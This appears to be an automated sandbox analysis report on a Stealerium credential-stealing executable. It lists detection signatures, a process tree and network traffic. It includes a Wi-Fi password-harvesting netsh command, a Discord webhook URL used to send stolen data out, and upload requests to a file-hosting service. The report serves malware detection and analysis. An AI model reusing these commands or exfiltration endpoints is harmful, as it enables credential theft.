Edit tour

Windows Analysis Report
f2wWJWlU2B.exe

Overview

General Information

Sample Name:	f2wWJWlU2B.exe
Original Sample Name:	86aa79c05ad10f311c2c4d97ddc40d8fb048d25271d68387608aff6600bb5ac4.exe
Analysis ID:	841050
MD5:	0b0596f72accd0b8b6883ffd1ef44d19
SHA1:	893932aa47cbf2d9e502a0edba41d44bf8d1c5a8
SHA256:	86aa79c05ad10f311c2c4d97ddc40d8fb048d25271d68387608aff6600bb5ac4
Tags:	exeFormbook
Infos:

Detection

Clipboard Hijacker, Stealerium

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected Stealerium

Malicious sample detected (through community Yara rule)

Sigma detected: Capture Wi-Fi password

Yara detected Clipboard Hijacker

Tries to steal Mail credentials (via file / registry access)

Uses netsh to modify the Windows network and firewall settings

.NET source code references suspicious native API functions

Yara detected Costura Assembly Loader

Contains functionality to log keystrokes (.Net Source)

Tries to harvest and steal WLAN passwords

Modifies existing user documents (likely ransomware behavior)

May check the online IP address of the machine

.NET source code contains potential unpacker

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Queries information about the installed CPU (vendor, model number etc)

Queries the product ID of Windows

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Checks if the current process is being debugged

Creates a window with clipboard capturing capabilities

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Classification

Process Tree

System is w10x64

f2wWJWlU2B.exe (PID: 3616 cmdline: C:\Users\user\Desktop\f2wWJWlU2B.exe MD5: 0B0596F72ACCD0B8B6883FFD1EF44D19)

f2wWJWlU2B.exe (PID: 2992 cmdline: C:\Users\user\Desktop\f2wWJWlU2B.exe MD5: 0B0596F72ACCD0B8B6883FFD1EF44D19)

f2wWJWlU2B.exe (PID: 6628 cmdline: C:\Users\user\Desktop\f2wWJWlU2B.exe MD5: 0B0596F72ACCD0B8B6883FFD1EF44D19)

f2wWJWlU2B.exe (PID: 6632 cmdline: C:\Users\user\Desktop\f2wWJWlU2B.exe MD5: 0B0596F72ACCD0B8B6883FFD1EF44D19)

f2wWJWlU2B.exe (PID: 6648 cmdline: C:\Users\user\Desktop\f2wWJWlU2B.exe MD5: 0B0596F72ACCD0B8B6883FFD1EF44D19)

f2wWJWlU2B.exe (PID: 1876 cmdline: C:\Users\user\Desktop\f2wWJWlU2B.exe MD5: 0B0596F72ACCD0B8B6883FFD1EF44D19)

cmd.exe (PID: 6284 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 1248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

chcp.com (PID: 6652 cmdline: chcp 65001 MD5: 561054CF9C4B2897E80D7E7D9027FED9)

netsh.exe (PID: 2344 cmdline: netsh wlan show profile MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

findstr.exe (PID: 6512 cmdline: findstr All MD5: 8B534A7FC0630DE41BB1F98C882C19EC)

cmd.exe (PID: 4728 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

chcp.com (PID: 2824 cmdline: chcp 65001 MD5: 561054CF9C4B2897E80D7E7D9027FED9)

netsh.exe (PID: 4784 cmdline: netsh wlan show networks mode=bssid MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

msiexec.exe (PID: 6896 cmdline: C:\Windows\system32\msiexec.exe /V MD5: 4767B71A318E201188A0D0A420C8B608)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealerium	According to SecurityScorecard, Stealerium is an open-source stealer available on GitHub. The malware steals information from browsers, cryptocurrency wallets, and applications such as Discord, Pidgin, Outlook, Telegram, Skype, Element, Signal, Tox, Steam, Minecraft, and VPN clients. The binary also gathers data about the infected host, such as the running processes, Desktop and webcam screenshots, Wi-Fi networks, the Windows product key, and the public and private IP address. The stealer employs multiple anti-analysis techniques, such as detecting virtual machines, sandboxes, and malware analysis tools and checking if the process is being debugged. The malware also embedded a keylogger module and a clipper module that replaces cryptocurrency wallet addresses with the threat actors addresses if the victim makes a transaction. The stolen information is sent to a Discord channel using a Discord Webhook.	No Attribution	https://github.com/Stealerium/Stealerium https://resources.securityscorecard.com/research/stealerium-detailed-analysis	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealerium

Malware Configuration

Threatname: Stealerium

{"C2 url": "https://discordapp.com/api/webhooks/1084783843615178843/A31fRI9RQZDNhL7oP-ww16uxWJlo3rtBHf98vuiK0BCkVC5USg4IAuKeGg_UE_9UYcu6"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.570476426.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000005.00000002.570476426.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.570476426.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker_4	Yara detected Clipboard Hijacker	Joe Security
00000005.00000002.570476426.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
00000005.00000002.570476426.0000000000402000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x1758ec:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x4198:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000005.00000002.579311377.0000000003371000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.440654420.0000000008DD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.440654420.0000000008DD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.440654420.0000000008DD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker_4	Yara detected Clipboard Hijacker	Joe Security
00000000.00000002.440654420.0000000008DD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
00000000.00000002.440654420.0000000008DD1000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x175b24:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x2f5144:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x474564:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: f2wWJWlU2B.exe PID: 1876	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: f2wWJWlU2B.exe PID: 1876	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: f2wWJWlU2B.exe PID: 1876	JoeSecurity_Clipboard_Hijacker_4	Yara detected Clipboard Hijacker	Joe Security
Process Memory Space: f2wWJWlU2B.exe PID: 1876	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x135049:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.f2wWJWlU2B.exe.400000.0.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
5.2.f2wWJWlU2B.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.f2wWJWlU2B.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker_4	Yara detected Clipboard Hijacker	Joe Security
5.2.f2wWJWlU2B.exe.400000.0.unpack	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
5.2.f2wWJWlU2B.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x175aec:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
5.2.f2wWJWlU2B.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x17bc67:$s1: \VPN\NordVPN 0x17bc4d:$s2: \VPN\OpenVPN 0x17bc2f:$s3: \VPN\ProtonVPN
0.2.f2wWJWlU2B.exe.8f50658.10.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.f2wWJWlU2B.exe.8f50658.10.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.f2wWJWlU2B.exe.8f50658.10.unpack	JoeSecurity_Clipboard_Hijacker_4	Yara detected Clipboard Hijacker	Joe Security
0.2.f2wWJWlU2B.exe.8f50658.10.unpack	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
0.2.f2wWJWlU2B.exe.8f50658.10.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x173cec:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0.2.f2wWJWlU2B.exe.8f50658.10.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x179e67:$s1: \VPN\NordVPN 0x179e4d:$s2: \VPN\OpenVPN 0x179e2f:$s3: \VPN\ProtonVPN
0.2.f2wWJWlU2B.exe.8f50658.10.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.f2wWJWlU2B.exe.8f50658.10.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.f2wWJWlU2B.exe.8f50658.10.raw.unpack	JoeSecurity_Clipboard_Hijacker_4	Yara detected Clipboard Hijacker	Joe Security
0.2.f2wWJWlU2B.exe.8f50658.10.raw.unpack	JoeSecurity_Stealerium	Yara detected Stealerium	Joe Security
0.2.f2wWJWlU2B.exe.8f50658.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x175aec:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x2f4f0c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0.2.f2wWJWlU2B.exe.8f50658.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x17bc67:$s1: \VPN\NordVPN 0x2fb087:$s1: \VPN\NordVPN 0x17bc4d:$s2: \VPN\OpenVPN 0x2fb06d:$s2: \VPN\OpenVPN 0x17bc2f:$s3: \VPN\ProtonVPN 0x2fb04f:$s3: \VPN\ProtonVPN
Click to see the 13 entries

Sigma Signatures

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\Desktop\f2wWJWlU2B.exe, ParentImage: C:\Users\user\Desktop\f2wWJWlU2B.exe, ParentProcessId: 1876, ParentProcessName: f2wWJWlU2B.exe, ProcessCommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, ProcessId: 6284, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: f2wWJWlU2B.exe	ReversingLabs: Detection: 54%
Source: f2wWJWlU2B.exe	Virustotal: Detection: 65%			Perma Link

Source: 5.2.f2wWJWlU2B.exe.400000.0.unpack

Avira: Label: TR/Dropper.Gen

Source: 00000005.00000002.570476426.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Malware Configuration Extractor: Stealerium {"C2 url": "https://discordapp.com/api/webhooks/1084783843615178843/A31fRI9RQZDNhL7oP-ww16uxWJlo3rtBHf98vuiK0BCkVC5USg4IAuKeGg_UE_9UYcu6"}

Source: f2wWJWlU2B.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.5:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.38.43.18:443 -> 192.168.2.5:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.247:443 -> 192.168.2.5:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.66:443 -> 192.168.2.5:49701 version: TLS 1.2

Source: f2wWJWlU2B.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: GeQa.pdb source: f2wWJWlU2B.exe
Source:	Binary string: GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb} source: f2wWJWlU2B.exe, 00000005.00000003.398726717.0000000006145000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000003.435292269.0000000006142000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000003.408434000.0000000006142000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.polly.pdb.compressed source: f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003371000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Json/net461-Release/System.Text.Json.pdb source: f2wWJWlU2B.exe, 00000005.00000003.533539291.0000000006190000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000043D6000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000044EF000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.576632253.00000000017F0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.600292607.0000000006190000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: costura.costura.pdb.compressed source: f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003371000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q costura.dotnetzip.pdb.compressed source: f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003371000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Json/net461-Release/System.Text.Json.pdbSHA256 source: f2wWJWlU2B.exe, 00000005.00000003.533539291.0000000006190000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000043D6000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000044EF000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.576632253.00000000017F0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.600292607.0000000006190000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\projects\dotnetzip-semverd\src\Zip\obj\Release\DotNetZip.pdb source: f2wWJWlU2B.exe, 00000005.00000002.605754131.0000000006DC0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: GeQa.pdbSHA256 source: f2wWJWlU2B.exe

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File opened: C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File opened: C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File opened: C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File opened: C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\BPMLNOBVSB\	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File opened: C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\BPMLNOBVSB\BPMLNOBVSB.docx	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File opened: C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\	Jump to behavior

Networking

May check the online IP address of the machine

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	DNS query: name: ip-api.com
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	DNS query: name: icanhazip.com
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	DNS query: name: icanhazip.com

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://discordapp.com/api/webhooks/1084783843615178843/A31fRI9RQZDNhL7oP-ww16uxWJlo3rtBHf98vuiK0BCkVC5USg4IAuKeGg_UE_9UYcu6

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: GET /api/webhooks/1084783843615178843/A31fRI9RQZDNhL7oP-ww16uxWJlo3rtBHf98vuiK0BCkVC5USg4IAuKeGg_UE_9UYcu6 HTTP/1.1Host: discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /getServer HTTP/1.1Host: apiv2.gofile.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /uploadFile HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db352bae7582a8Host: store11.gofile.ioContent-Length: 176096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:0c:29:82:cb:33 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1084783843615178843/A31fRI9RQZDNhL7oP-ww16uxWJlo3rtBHf98vuiK0BCkVC5USg4IAuKeGg_UE_9UYcu6?wait=true HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: discordapp.comContent-Length: 1705Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.com

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000034E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.mylnikov.org
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000036D7000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://apiv2.gofile.io
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/NETFoundationProjectsCodeSigningCA.crt0
Source: f2wWJWlU2B.exe, 00000005.00000003.408434000.0000000006132000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000003.435292269.0000000006132000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.600292607.0000000006132000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000003.450905872.0000000006132000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/NETFoundationProjectsCodeSigningCA.crl0E
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/NETFoundationProjectsCodeSigningCA.crl0L
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: f2wWJWlU2B.exe, 00000000.00000003.317595512.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://en.w
Source: f2wWJWlU2B.exe, 00000000.00000003.313088925.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.312936366.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.312892902.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.312854019.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.312916245.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.312987080.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fontfabrik.com
Source: f2wWJWlU2B.exe, 00000000.00000003.313088925.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.312936366.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.312987080.0000000006553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fontfabrik.com&K
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000036D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gofile.io
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000034E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000034E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com/
